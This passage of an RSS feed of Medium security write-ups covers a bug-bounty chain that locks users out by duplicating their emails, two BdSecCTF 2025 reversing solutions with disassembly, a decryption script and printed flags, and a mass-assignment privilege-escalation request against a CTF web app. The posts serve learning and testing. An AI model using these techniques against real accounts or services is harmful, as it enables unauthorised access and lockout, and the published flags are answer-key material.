Chaining the Bugs</h3><p>Now comes the fun part — chaining both vulnerabilities.</p><h3>Full Attack Flow:</h3><ol><li>Extract emails from the directory listing</li><li>Choose a target email</li><li>Create a new attacker account</li><li>Change attacker&#39;s email to the victim’s email</li><li>The system now has duplicate emails</li><li>Authentication fails</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*EBNMzEFIj25hJCzw.gif" /></figure><h3>Final Result</h3><ul><li>The legitimate user can’t log in</li><li>The account becomes inaccessible</li><li>This can be repeated for multiple users</li></ul><h3>🎯 Final Thoughts</h3><p>This was a perfect example of why <strong>bug chaining matters</strong>.</p><p>Individually, these bugs were impactful…<br>But together, they created a much bigger issue.</p><p>👉 From leaking emails<br>👉 To breaking authentication entirely</p><p>All from just a bit of curiosity and deeper testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*pIEREQs1xNU4x1ga.gif" /></figure><h3>🧑‍💻 That’s It!</h3><p>Keep hunting, keep learning… and always try to chain bugs for maximum impact 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02f15533eed7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ BdSecCTF 2025 — Minar ’52 Enigma Challenge Write-Up]]></title>
            <link>https://0x0meowsec.medium.com/bdsecctf-2025-minar-52-enigma-challenge-write-up-ba5952f2b692?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba5952f2b692</guid>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Thu, 24 Jul 2025 17:11:35 GMT</pubDate>
            <atom:updated>2025-07-24T17:11:35.788Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kW6mVRr-NKHTfOC50rO9A.png" /></figure><h3>🇧🇩 BdSecCTF 2025 — Minar ’52 Enigma Challenge Write-Up</h3><h3>🔐 Challenge: minar_52_enigma.bdsec</h3><p><strong>Category:</strong> Reversing<br> <strong>Author:</strong> NomanProdhan<br> <strong>Flag Format:</strong> BDSEC{...}</p><h3>🧩 Challenge Prompt</h3><p>Upon running the binary:</p><pre>❯ ./minar_52_enigma.bdsec          <br>         ____||____<br>        /          \<br>       |   1952     |<br>       | Language   |<br>       | Movement   |<br>        \__________/<br>           ||    ||<br>           ||    ||<br>           ||    ||<br>           ||    ||<br><br>‘We will give blood, we will give life, but we won&#39;t give away Bangla.’<br><br>Enter the secret: </pre><h3>🔎 Initial Analysis</h3><pre>❯ file minar_52_enigma.bdsec<br>minar_52_enigma.bdsec: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8a3c9740a2b5772818978c966f023317b0277dff, for GNU/Linux 4.4.0, not stripped</pre><pre>❯ checksec minar_52_enigma.bdsec<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x400000)<br>    Stripped:   No</pre><p>Perfect for reverse engineering. Since it’s <strong>not stripped</strong>, and statically linked, we can dive into main() using GDB.</p><h3>🔬 Disassembling main</h3><p>Using GEF:</p><pre>gdb -q ./minar_52_enigma.bdsec<br>gef➤ disas main<br><br>Dump of assembler code for function main:<br>   0x0000000000402e00 &lt;+0&gt;: push   rbx<br>   0x0000000000402e01 &lt;+1&gt;: lea    rbx,[rip+0x79288]        # 0x47c090<br>   0x0000000000402e08 &lt;+8&gt;: sub    rsp,0xb0<br>   0x0000000000402e0f &lt;+15&gt;: mov    rdi,QWORD PTR fs:0x28<br>   0x0000000000402e18 &lt;+24&gt;: mov    QWORD PTR [rsp+0xa8],rdi<br>   0x0000000000402e20 &lt;+32&gt;: lea    rdi,[rip+0x791e9]        # 0x47c010<br>   0x0000000000402e27 &lt;+39&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e2c &lt;+44&gt;: lea    rdi,[rip+0x791f1]        # 0x47c024<br>   0x0000000000402e33 &lt;+51&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e38 &lt;+56&gt;: lea    rdi,[rip+0x791fa]        # 0x47c039<br>   0x0000000000402e3f &lt;+63&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e44 &lt;+68&gt;: lea    rdi,[rip+0x79204]        # 0x47c04f<br>   0x0000000000402e4b &lt;+75&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e50 &lt;+80&gt;: lea    rdi,[rip+0x7920e]        # 0x47c065<br>   0x0000000000402e57 &lt;+87&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e5c &lt;+92&gt;: lea    rdi,[rip+0x79218]        # 0x47c07b<br>   0x0000000000402e63 &lt;+99&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e68 &lt;+104&gt;: mov    rdi,rbx<br>   0x0000000000402e6b &lt;+107&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e70 &lt;+112&gt;: mov    rdi,rbx<br>   0x0000000000402e73 &lt;+115&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e78 &lt;+120&gt;: mov    rdi,rbx<br>   0x0000000000402e7b &lt;+123&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e80 &lt;+128&gt;: mov    rdi,rbx<br>   0x0000000000402e83 &lt;+131&gt;: lea    rbx,[rip+0x7adce]        # 0x47dc58<br>   0x0000000000402e8a &lt;+138&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e8f &lt;+143&gt;: mov    rdi,rbx<br>   0x0000000000402e92 &lt;+146&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402e97 &lt;+151&gt;: lea    rdi,[rip+0x7b34a]        # 0x47e1e8<br>   0x0000000000402e9e &lt;+158&gt;: call   0x403190 &lt;print_slow&gt;<br>   0x0000000000402ea3 &lt;+163&gt;: mov    rdi,rbx<br>   0x0000000000402ea6 &lt;+166&gt;: lea    rbx,[rsp+0x60]<br>   0x0000000000402eab &lt;+171&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402eb0 &lt;+176&gt;: lea    rdi,[rip+0x791ed]        # 0x47c0a4<br>   0x0000000000402eb7 &lt;+183&gt;: xor    eax,eax<br>   0x0000000000402eb9 &lt;+185&gt;: call   0x406410 &lt;printf&gt;<br>   0x0000000000402ebe &lt;+190&gt;: mov    rdi,QWORD PTR [rip+0xa47eb]        # 0x4a76b0 &lt;stdout&gt;<br>   0x0000000000402ec5 &lt;+197&gt;: call   0x40c570 &lt;fflush&gt;<br>   0x0000000000402eca &lt;+202&gt;: mov    rdx,QWORD PTR [rip+0xa47e7]        # 0x4a76b8 &lt;stdin&gt;<br>   0x0000000000402ed1 &lt;+209&gt;: mov    esi,0x40<br>   0x0000000000402ed6 &lt;+214&gt;: mov    rdi,rbx<br>   0x0000000000402ed9 &lt;+217&gt;: call   0x40c6d0 &lt;fgets&gt;<br>   0x0000000000402ede &lt;+222&gt;: test   rax,rax<br>   0x0000000000402ee1 &lt;+225&gt;: je     0x40300c &lt;main+524&gt;<br>   0x0000000000402ee7 &lt;+231&gt;: lea    rsi,[rip+0x79fa5]        # 0x47ce93<br>   0x0000000000402eee &lt;+238&gt;: mov    rdi,rbx<br>   0x0000000000402ef1 &lt;+241&gt;: call   0x401090<br>   0x0000000000402ef6 &lt;+246&gt;: mov    esi,0x502<br>   0x0000000000402efb &lt;+251&gt;: mov    BYTE PTR [rsp+0x4b],0x5f<br>   0x0000000000402f00 &lt;+256&gt;: movabs rdx,0x1b69081f0e736c4f<br>   0x0000000000402f0a &lt;+266&gt;: mov    BYTE PTR [rsp+rax*1+0x60],0x0<br>   0x0000000000402f0f &lt;+271&gt;: mov    eax,0x502<br>   0x0000000000402f14 &lt;+276&gt;: mov    ecx,0xffffc23e<br>   0x0000000000402f19 &lt;+281&gt;: mov    r9,rsp<br>   0x0000000000402f1c &lt;+284&gt;: mov    WORD PTR [rsp+0x54],ax<br>   0x0000000000402f21 &lt;+289&gt;: mov    edi,0xffffc23e<br>   0x0000000000402f26 &lt;+294&gt;: movabs rax,0x6f707e090b5646b2<br>   0x0000000000402f30 &lt;+304&gt;: movabs r8,0xcccccccccccccccd<br>   0x0000000000402f3a &lt;+314&gt;: mov    DWORD PTR [rsp+0x43],0x32353931<br>   0x0000000000402f42 &lt;+322&gt;: mov    DWORD PTR [rsp+0x47],0x4b372310<br>   0x0000000000402f4a &lt;+330&gt;: mov    QWORD PTR [rsp+0x4c],rdx<br>   0x0000000000402f4f &lt;+335&gt;: mov    QWORD PTR [rsp+0x56],rax<br>   0x0000000000402f54 &lt;+340&gt;: mov    QWORD PTR [rsp],rdx<br>   0x0000000000402f58 &lt;+344&gt;: mov    WORD PTR [rsp+0x8],si<br>   0x0000000000402f5d &lt;+349&gt;: mov    QWORD PTR [rsp+0xa],rax<br>   0x0000000000402f62 &lt;+354&gt;: mov    BYTE PTR [rsp+0x20],0x42<br>   0x0000000000402f67 &lt;+359&gt;: mov    WORD PTR [rsp+0x5e],cx<br>   0x0000000000402f6c &lt;+364&gt;: mov    ecx,0x1<br>   0x0000000000402f71 &lt;+369&gt;: mov    WORD PTR [rsp+0x12],di<br>   0x0000000000402f76 &lt;+374&gt;: lea    rdi,[rsp+0x20]<br>   0x0000000000402f7b &lt;+379&gt;: nop    DWORD PTR [rax+rax*1+0x0]<br>   0x0000000000402f80 &lt;+384&gt;: mov    rax,rcx<br>   0x0000000000402f83 &lt;+387&gt;: movzx  esi,BYTE PTR [r9+rcx*1]<br>   0x0000000000402f88 &lt;+392&gt;: mul    r8<br>   0x0000000000402f8b &lt;+395&gt;: xor    esi,0xffffffcc<br>   0x0000000000402f8e &lt;+398&gt;: mov    rax,rdx<br>   0x0000000000402f91 &lt;+401&gt;: and    rdx,0xfffffffffffffffc<br>   0x0000000000402f95 &lt;+405&gt;: shr    rax,0x2<br>   0x0000000000402f99 &lt;+409&gt;: add    rdx,rax<br>   0x0000000000402f9c &lt;+412&gt;: mov    rax,rcx<br>   0x0000000000402f9f &lt;+415&gt;: sub    rax,rdx<br>   0x0000000000402fa2 &lt;+418&gt;: mov    rdx,rcx<br>   0x0000000000402fa5 &lt;+421&gt;: and    edx,0x3<br>   0x0000000000402fa8 &lt;+424&gt;: sub    sil,BYTE PTR [rsp+rdx*1+0x43]<br>   0x0000000000402fad &lt;+429&gt;: sub    sil,BYTE PTR [rsp+rax*1+0x47]<br>   0x0000000000402fb2 &lt;+434&gt;: mov    BYTE PTR [rdi+rcx*1],sil<br>   0x0000000000402fb6 &lt;+438&gt;: add    rcx,0x1<br>   0x0000000000402fba &lt;+442&gt;: cmp    rcx,0x14<br>   0x0000000000402fbe &lt;+446&gt;: jne    0x402f80 &lt;main+384&gt;<br>   0x0000000000402fc0 &lt;+448&gt;: mov    rsi,rdi<br>   0x0000000000402fc3 &lt;+451&gt;: mov    rdi,rbx<br>   0x0000000000402fc6 &lt;+454&gt;: mov    BYTE PTR [rsp+0x34],0x0<br>   0x0000000000402fcb &lt;+459&gt;: call   0x401080<br>   0x0000000000402fd0 &lt;+464&gt;: test   eax,eax<br>   0x0000000000402fd2 &lt;+466&gt;: jne    0x402ffe &lt;main+510&gt;<br>   0x0000000000402fd4 &lt;+468&gt;: lea    rdi,[rip+0x790dc]        # 0x47c0b7<br>   0x0000000000402fdb &lt;+475&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x0000000000402fe0 &lt;+480&gt;: xor    eax,eax<br>   0x0000000000402fe2 &lt;+482&gt;: mov    rdx,QWORD PTR [rsp+0xa8]<br>   0x0000000000402fea &lt;+490&gt;: sub    rdx,QWORD PTR fs:0x28<br>   0x0000000000402ff3 &lt;+499&gt;: jne    0x403013 &lt;main+531&gt;<br>   0x0000000000402ff5 &lt;+501&gt;: add    rsp,0xb0<br>   0x0000000000402ffc &lt;+508&gt;: pop    rbx<br>   0x0000000000402ffd &lt;+509&gt;: ret<br>   0x0000000000402ffe &lt;+510&gt;: lea    rdi,[rip+0x7b233]        # 0x47e238<br>   0x0000000000403005 &lt;+517&gt;: call   0x40ca70 &lt;puts&gt;<br>   0x000000000040300a &lt;+522&gt;: jmp    0x402fe0 &lt;main+480&gt;<br>   0x000000000040300c &lt;+524&gt;: mov    eax,0x1<br>   0x0000000000403011 &lt;+529&gt;: jmp    0x402fe2 &lt;main+482&gt;<br>   0x0000000000403013 &lt;+531&gt;: call   0x427850 &lt;__stack_chk_fail_local&gt;</pre><p>We observe:</p><ul><li>The program prints a bunch of messages.</li><li>Then prompts for input using fgets().</li><li>The input is passed through a <strong>transformation loop</strong>, and then:</li><li>Compared using a custom function (at 0x401080).</li></ul><p>Let’s set a breakpoint <strong>just before the validation</strong> happens:</p><pre>b *0x402fc0<br>r</pre><p>Bingo! We get the expected result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpsLGLrQlHTAk3lwEDozKw.png" /></figure><p>That’s our flag! 🏁</p><h3>🏁 Final Flag</h3><pre>BDSEC{MnR1952C1ph3r}</pre><h3>💬 Reflection</h3><p>This was a beautifully crafted reversing challenge with deep binary reverse engineering.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba5952f2b692" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Challenge Name: Hacker App]]></title>
            <link>https://0x0meowsec.medium.com/challenge-name-hacker-app-c538aacf8fe1?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/c538aacf8fe1</guid>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Thu, 24 Jul 2025 16:44:41 GMT</pubDate>
            <atom:updated>2025-07-24T17:14:12.577Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kW6mVRr-NKHTfOC50rO9A.png" /></figure><h3>🇧🇩 BdSecCTF 2025 — Hacker App Challenge Write-Up</h3><p><strong>Category:</strong> Reverse Engineering / Mobile<br> <strong>Platform:</strong> Android (APK)<br> <strong>Author:</strong> NomanProdhan<br> <strong>Flag Format:</strong> BDSEC{...}</p><h3>🧩 Challenge Description</h3><p>You can hack any website with this app !!</p><h3>🔧 Tools Used</h3><ul><li>ByteCode-Viewer (APK decompiler)</li><li>Python (for decoding custom encoding)</li><li>Base64 + logic</li></ul><h3>🔍 Initial Analysis</h3><p>After loading the APK into ByteCode-Viewer, we landed on the MainActivity.class file which controls the core functionality of the app. Inside it, we found this suspicious string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zCNfELBTVx-LFzESyRidkg.png" /></figure><pre>private static final String zN2LpB = &quot;ioFOE6/xXoxB5M02UsaVQAhuQVC5f8+PMMgwOwGbmE0R7n6qyRQ9qwCzCgDVYWc6&quot;;</pre><p>Also, this line caught my eye:</p><pre>if (&quot;2025.bdsec-ctf.com&quot;.equals(var1)) {<br>   var7.add(&quot;[SUCCESS] Root Account Password: &quot; + zN2LpB);<br>}</pre><p>🤔 Looks like we’re supposed to input that exact domain to trigger the payload! So this string was definitely the <strong>flag or a key</strong>.</p><h3>🔐 The Obfuscation</h3><p>Looking deeper, we noticed a method encrypting strings like:</p><pre>Base64.encodeToString(iP7sV3(&quot;root:toor123&quot;.getBytes(StandardCharsets.UTF_8), mK4pJ1[var3]), 2);</pre><p>The encoding chain:</p><ol><li>Reverse &amp; XOR (oX8jZ6)</li><li>Custom TEA encryption (uE9rC5)</li><li>Byte transformation with jN5fC2 table (yW0qH1)</li><li>Base64 encode</li></ol><p>That means zN2LpB was generated using this same method — so we need to <strong>reverse</strong> all these steps.</p><h3>🐍 Decoding Script</h3><p>I wrote a custom Python script that reverses all the transformations above:</p><pre>import base64<br>import struct<br><br>jN5fC2 = [(i * 73 + 41) &amp; 0xFF for i in range(256)]<br>inv_jN5fC2 = [0] * 256<br>for i in range(256):<br>    inv_jN5fC2[jN5fC2[i]] = i<br><br>vY7kD3 = [253635900, 1264216440, -2053724232, -908399620]<br><br>def reverse_yW0qH1(data):<br>    result = bytearray(len(data))<br>    for i in range(len(data)):<br>        b = data[i]<br>        b = (b &gt;&gt; 5 | (b &lt;&lt; 3)) &amp; 0xFF<br>        result[i] = inv_jN5fC2[b]<br>    return result<br><br>def reverse_uE9rC5(data):<br>    result = bytearray(len(data))<br>    for i in range(0, len(data), 8):<br>        v0 = struct.unpack(&#39;&gt;I&#39;, data[i:i+4])[0]<br>        v1 = struct.unpack(&#39;&gt;I&#39;, data[i+4:i+8])[0]<br>        sum_ = -1640531527 * 16<br><br>        for _ in range(16):<br>            v1 -= ((v0 &lt;&lt; 4 ^ v0 &gt;&gt; 5) + v0) ^ (vY7kD3[(sum_ &gt;&gt; 11) &amp; 3] + sum_)<br>            v1 &amp;= 0xFFFFFFFF<br>            v0 -= ((v1 &lt;&lt; 4 ^ v1 &gt;&gt; 5) + v1) ^ (vY7kD3[sum_ &amp; 3] + sum_)<br>            v0 &amp;= 0xFFFFFFFF<br>            sum_ += 1640531527<br><br>        result[i:i+4] = struct.pack(&#39;&gt;I&#39;, v0)<br>        result[i+4:i+8] = struct.pack(&#39;&gt;I&#39;, v1)<br><br>    # Remove padding<br>    pad = result[-1]<br>    return result[:-pad]<br><br>def reverse_oX8jZ6(data, key):<br>    data = bytearray(data)<br>    for i in range(len(data)):<br>        data[i] ^= (key &gt;&gt; (i % 4 * 8)) &amp; 0xFF<br>    data.reverse()<br>    return data<br><br>def try_decrypt(base64_string):<br>    decoded = base64.b64decode(base64_string)<br>    rev1 = reverse_yW0qH1(decoded)<br><br>    for key in [int(k, 16) for k in [<br>        &quot;4AC93E17&quot;, &quot;DE9A3214&quot;, &quot;D2C3E1F0&quot;, &quot;BEEFCAFE&quot;, <br>        &quot;C0FFEE01&quot;, &quot;BAADF00D&quot;, &quot;CAFEBABE&quot;, &quot;8BADF00D&quot;<br>    ]]:<br>        try:<br>            rev2 = reverse_uE9rC5(rev1)<br>            rev3 = reverse_oX8jZ6(rev2, key)<br>            return rev3.decode(&#39;utf-8&#39;)<br>        except Exception:<br>            continue<br>    return None<br><br># The encoded string<br>zN2LpB = &quot;ioFOE6/xXoxB5M02UsaVQAhuQVC5f8+PMMgwOwGbmE0R7n6qyRQ9qwCzCgDVYWc6&quot;<br><br># Try decoding<br>flag = try_decrypt(zN2LpB)<br>print(&quot;Decrypted string:&quot;, flag)</pre><p>When run, the output was:</p><pre>Decrypted string: BDSEC{h4cK3r_aPP_t0_HACK_THE_PLANET_bdSECctf}</pre><p>💥 <strong>BOOM!</strong> There’s the flag, hidden deep under layers of custom obfuscation and encoding!</p><h3>🧠 Key Learnings</h3><ul><li>APKs can hide juicy secrets, especially in hardcoded constants.</li><li>Custom encoding chains are tricky, but with patience you can reverse them.</li><li>Always look for strings that are Base64-encoded or XOR’d — they’re often the key 🔑.</li><li>Static analysis using ByteCode-Viewer can go a long way without even needing to run the app.</li></ul><h3>🏁 Flag</h3><pre>BDSEC{h4cK3r_aPP_t0_HACK_THE_PLANET_bdSECctf}</pre><h3>💬 Final Thoughts</h3><p>This was a fun reverse-engineering challenge with some clever string obfuscation. It reminded me of real-world malware unpacking. Shoutout to the challenge creator — great job!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c538aacf8fe1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Special Access — BDSEC CTF 2025]]></title>
            <link>https://0x0meowsec.medium.com/special-access-bdsec-ctf-2025-e43cad0e5c00?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/e43cad0e5c00</guid>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 17:29:56 GMT</pubDate>
            <atom:updated>2025-07-21T17:31:46.277Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kW6mVRr-NKHTfOC50rO9A.png" /></figure><h3>🔓 Special Access — BDSEC CTF 2025</h3><p><strong>Category:</strong> Web Exploitation<br><strong>Points:</strong> 250<br><strong>Author:</strong> TareqAhamed<br><strong>Flag Format:</strong> BDSEC{Something}</p><p>🧠 Challenge Overview</p><p>We were given a basic user registration &amp; login flow hosted at:</p><pre>http://45.79.9.104:7474/</pre><p>After creating and logging in with a test account, the user is taken to dashboard.php where their email and <strong>role</strong> are displayed.</p><p>Example:</p><pre>Email: tester@test.com<br>Role: user</pre><p>Our objective: <strong>Get the flag</strong>, which is likely only accessible to privileged roles like admin or special.</p><p>🔍 Recon</p><p>We analyzed the captured requests:</p><ul><li>POST /register.php → registers user</li><li>POST /login.php → logs in and redirects to dashboard.php</li><li>GET /dashboard.php → shows profile with current <strong>role</strong></li><li>POST /profile.php → allows profile updates (email &amp; password)</li></ul><p>No direct link to a flag or admin area was visible in the HTML.</p><p>💡 Key Discovery</p><p>Upon inspecting the profile.php update logic, we noticed this:</p><pre>const data = {<br>    email: formData.get(&#39;email&#39;)<br>};</pre><pre>const password = formData.get(&#39;password&#39;);<br>if (password &amp;&amp; password.trim() !== &#39;&#39;) {<br>    data.password = password;<br>}</pre><p>➡️ The frontend <strong>only sends </strong>email<strong> and </strong>password in the JSON payload.<br>However, the backend might blindly accept <strong>additional fields</strong> sent in raw JSON 👀</p><p>⚔️ Exploit — Role Privilege Escalation via JSON Manipulation</p><p>We crafted a custom POST request to profile.php:</p><pre>POST /profile.php HTTP/1.1<br>Host: 45.79.9.104:7474<br>Content-Type: application/json<br>Cookie: PHPSESSID=94d8a319984e2fb21c1c5c08dab5e114</pre><pre>{<br>  &quot;email&quot;: &quot;tester@test.com&quot;,<br>  &quot;role&quot;: &quot;admin&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CityEZGNpbzFRhvi1qH9Ow.png" /></figure><p>📌 This worked! Logging back into dashboard.php, we saw:</p><pre>Email: tester@test.com<br>Role: admin ✅</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZQiNH-4vTYE1fqEkR4n5Q.png" /></figure><p>🏁 Final Step — Accessing the Flag</p><p>Sometimes the flag is shown directly on the dashboard for admins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRZofwqFdNb8kmB-R6s27w.png" /></figure><p>🔐 The flag was revealed as:</p><pre>BDSEC{MaSs_ASSignmEnt_Expl0itEd}</pre><p>✅ Root Cause</p><p>The backend <strong>did not sanitize or restrict</strong> the fields it accepted during profile updates. This allowed arbitrary fields like role to be inserted, leading to privilege escalation — a classic <strong>Insecure Direct Object Reference (IDOR) + Missing Access Control</strong> combo.</p><p>💬 Final Thoughts</p><p>This was a <strong>clean and realistic challenge</strong>, showing how simple mistakes in input validation can lead to critical privilege escalation.</p><p>Massive shoutout to <strong>TareqAhamed (0xt4req)</strong> for this cool CTF web lab 👏</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e43cad0e5c00" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>